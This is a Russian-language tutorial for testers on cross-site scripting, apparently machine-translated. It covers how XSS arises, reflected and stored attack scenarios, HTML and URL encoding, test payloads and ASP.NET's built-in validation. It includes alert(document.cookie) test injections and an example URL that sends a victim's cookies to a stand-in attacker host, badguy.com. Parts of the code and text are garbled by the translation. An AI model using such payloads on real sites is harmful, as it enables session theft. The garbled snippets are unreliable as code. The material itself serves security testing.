Тестирование веб -безопасности xss
Полное имя XSS (сценария кросс-сценарии). Это относится к злоумышленнику, встраивающим клиентские сценарии (например, JavaScript) в веб -страницу. Когда пользователь просматривает эту веб -страницу, сценарий будет выполнен в браузере пользователя, тем самым достигая цели злоумышленника. Например, получение файлов cookie пользователя, навигация на вредоносные веб -сайты, ношение троянов и т. Д.
Как тестер, вам нужно понять принципы XSS, сценарии атаки и как их исправить. Только путем эффективного предотвращения XSS.
Чтение содержимого
Как происходит xss
Если есть текстовое поле ниже
<input type = "text" name = "address1" value = "value1from">
value1from является вводом от пользователя. Если пользователь не вводит значение1from, но вводит "/><script> alert(document.cookie)</script><!
<input type = "text" name = "address1" value = ""/> <cript> alert (document.cookie) </script> <!- ">
Встроенный код JavaScript будет выполнен
Или пользователь вводит "onfocus =" recover (document.cookie), тогда он станет
<input type = "text" name = "addres1" value = "" onfocus = "alert (document.cookie)">
Когда событие запускается, будет выполнен встроенный код JavaScript
Сила атаки зависит от того, какой скрипт пользовательских вводов
Конечно, данные, представленные пользователем, также могут быть отправлены на сервер через QueryString (размещены в URL) и файлы cookie. Например, на следующем рисунке
HTML -кодирование
XSS происходит потому, что данные, введенные пользователем, становятся кодом. Таким образом, нам нужно выполнить обработку HTML Encode на данных, введенных пользователем. Кодируйте специальные символы, такие как «Кроншеты», «Сингл цитаты» и «Цитаты».
Уже доступные методы предоставляются в C#, просто вызовите httputility.htmlencode ("string <critp>"). (Требуется система. Web сборка)
Fiddler также предоставляет очень удобный инструмент, нажмите кнопку «TextWizard» на панели инструментов
XSS атаковать сценарий
1. Процесс атаки уязвимости на основе DOMS выглядит следующим образом
Том обнаружил уязвимость xss на странице на health.com.
Например: http://victim.com/search.asp?term=apple
Код страницы search.asp на сервере примерно следующим образом
<html> <title> </title> <body> Результаты для <%request.querystring ("term")%> ... </body> </html>Том сначала создает веб -сайт http://badguy.com, чтобы получить информацию от «кражи».
Затем Том строит злонамеренный URL (следующим образом) и каким -то образом отправляет его Монике (электронная почта, QQ)
http://victim.com/search.asp?term= <script> window.open ("http://badguy.com?cookie="+document.cookie) </script>
Моника нажимает на этот URL, и код злого JavaScript, встроенный в URL -адрес, будет выполнен в браузере Моники. Затем на веб -сайте Cookie's Monica's на веб -сайте Victim.com будут отправлены на веб -сайте Badguy. Таким образом, информация Моники о жертвах.
2. Хранившийся XSS (сохраненная уязвимость XSS), этот тип является уязвимостью, которая широко используется и может повлиять на безопасность крупных веб -серверов. Злоумышленник загружает сценарий атаки на веб -сервер, заставляя всех пользователей, которые получают доступ к странице, сталкиваются с возможностью утечки информации. Процесс атаки выглядит следующим образом
Алекс обнаружил уязвимость XSS на сайте A, которая позволяет сохранять код атаки в базе данных.
Алекс опубликовал статью со злонамеренным кодом JavaScript, встроенным в нее.
Когда другие люди, такие как Моника, при доступе к этой статье, злонамеренный код JavaScript, встроенный в статью, будет выполнен в браузере Моники, а его печенье сессии или другая информация будет украдена Алексом.
Уязвимость на основе DOMS угрожает отдельным пользователям, в то время как сохраненные уязвимости XSS угрожают большое количество пользователей.
Xss уязвимость исправлена
Принцип: не доверяйте данным, введенным клиентом
Примечание. Код атаки не обязательно находится в <script> </script>
Как проверить уязвимости XSS
Метод 1: Просмотреть код и найти переменные ключа. Клиент передает данные на веб -сервер. Как правило, тремя способами, запросы, формы формы и файлы cookie. Например, в программах ASP переменные клиента получают через объект запроса.
<%strusercode = request.queryString ("code"); struser = request.form ("user"); strid = request.cookies ("id");%>Если переменная не обрабатывается Htmlencode, то в этой переменной есть уязвимость XSS
Метод 2: Подготовьте тестовый сценарий,
"/><script> alert(document.cookie)</script><!--<script> alert(document.cookie)</script><! --"onclick="alert(document.cookie)
В текстовом поле или в других местах, где можно ввести данные, введите эти тестовые сценарии, чтобы увидеть, может ли диалоговое окно. Если он может появиться, это означает, что есть уязвимость XSS
Посмотрите, какие переменные передаются на веб -сервер через URL, и верните значения этих переменных в наш тестовый скрипт. Затем посмотрите, можно ли выполнить наш сценарий
Метод 3: автоматически тестирование уязвимостей XSS
Сейчас доступно много инструментов сканирования XSS. Реализация автоматического тестирования XSS очень проста, вам нужно только использовать класс httpwebrequest. Поместите тестовый скрипт XSS. Отправить на веб -сервер. Затем проверьте, был ли наш сценарий тестирования XSS вводится в httpwebresponse.
Разница между HTML -кодированием и URL -кодом
Вначале я всегда путавал эти две вещи, но на самом деле они были двумя разными вещами.
HTML -кодирование было введено ранее. Кодирование URL состоит в том, чтобы соответствовать спецификациям URL. Потому что в стандартной спецификации URL китайцам и многим персонажам не разрешается появляться в URL.
Например, ищите «Тестируемые китайские иероглифы» в Baidu. URL станет
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputt=7477
Кодирование URL: все не альфаноковарные символы будут заменены процентным знаком (%), за которым следует два шестнадцатеричных числа, а пространства будут закодированы как знак плюс (+)
Уже доступные методы предоставляются в C#, просто вызовите httputility.urlencode ("string <critp>"). (Требуется система. Web сборка)
Fiddler также предоставляет очень удобный инструмент, нажмите кнопку «TextWizard» на панели инструментов
Фильтр XSS в браузере
Чтобы предотвратить возникновение XSS, многие производители браузеров добавляли механизмы безопасности в свои браузеры для фильтрации XSS. Например, IE8, IE9, Firefox, Chrome. У всех есть механизмы безопасности для XSS. Браузер блокирует XSS. Например, следующая картина
Если вам нужно сделать тест, лучше всего использовать IE7.
XSS Security Механизм в ASP.NET
ASP.NET имеет механизм для предотвращения XSS. Представленная форма автоматически проверяет, существует ли XSS. Когда пользователь пытается ввести код XSS, ASP.NET будет выбросить ошибку, как показано на следующем рисунке.
Многие программисты не имеют представления о безопасности, и они даже не знают, что есть XSS. ASP.NET безопасен по умолчанию на данный момент. Таким образом, даже программисты без осведомленности о безопасности могут написать «более безопасный веб -сайт».
Если вы хотите отключить эту функцию безопасности, вы можете использовать < %@ page valyateRequest = "false" %>
Выше приведено тест веб -безопасности XSS. В будущем мы будем продолжать организовывать соответствующие материалы для тестирования программного обеспечения. Спасибо за поддержку этого сайта!